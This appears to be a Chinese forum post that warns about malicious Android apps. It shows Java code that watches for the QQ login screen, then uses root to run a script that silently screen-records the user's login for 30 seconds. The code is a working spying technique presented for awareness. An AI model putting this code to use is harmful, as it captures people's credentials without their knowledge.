如今越来越多的手机玩家都为了折腾一些稀奇古怪的东西,或出于好奇,或出于贪心,往往会root手机去尝试安装一些外挂,刷分,刷粉,修改版等等乱七八糟的东西
正因为此类用户的存在,一些小人就盯上了这方面的市场,去开发一些盗取财产,密码,锁机等等
今天我就给大家看一个简单的劫持
当打开QQ登录界面时,提示界面被劫持了
这是如何实现呢,其实很简单,当我们安装了不正常的app,app后台会开启一个后台服务,用于循环检测当前顶层页面是否是我们需要劫持的,如果不是,继续检测
[Java] 纯文本查看 复制代码 new Thread(new Runnable() {
@Override
public void run() {
Looper.prepare();
while (true) {
ActivityManager am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
List<RunningTaskInfo> tasks = am.getRunningTasks(1);
if (tasks.get(0).topActivity.getClassName().equals("com.tencent.mobileqq.activity.LoginActivity")) {
inject();
RunAsRooter();
break;
}
try {
Thread.sleep(500);
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
Looper.loop();
}
}).start();
因为考虑到弹窗是需要在主线程中执行的,所以必须调用Looper,每次检测的间隔时间为500毫秒,必须过多检测导致系统卡顿,
检测到后就开启一个弹窗
[Java] 纯文本查看 复制代码 private void inject() {
AlertDialog.Builder builder = new AlertDialog.Builder(this);
builder.setTitle("提示");
builder.setMessage("你的界面已经被劫持了");
final AlertDialog dialog = builder.create();
dialog.getWindow().setType((WindowManager.LayoutParams.TYPE_SYSTEM_ALERT));
dialog.show();
}
由于是全局弹窗,所以必须设置为系统级弹窗,同时需要注意添加权限
so easy
那如何实现后台监控呢,我这里的思路是实现后台录像,安卓4.4以上系统就自带录像功能了,实现方式也能简单
[Java] 纯文本查看 复制代码 private void RunAsRooter() {
try {
Runtime.getRuntime().exec("su -c /sdcard/run.sh").waitFor();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
调用root权限执行sd卡下的一个脚本文件,那这个脚本代码是什么呢,也就一行代码
screenrecord --time-limit 30 /sdcard/demo.mp4
调用system/bin下的可执行文件进行录像,这里设置的时间为30秒,保存在sd卡下,所以这里也需要设置相关权限
当打开QQ登录页面时,后台自动开启录像,这样你的一举一动我就全部知道了
|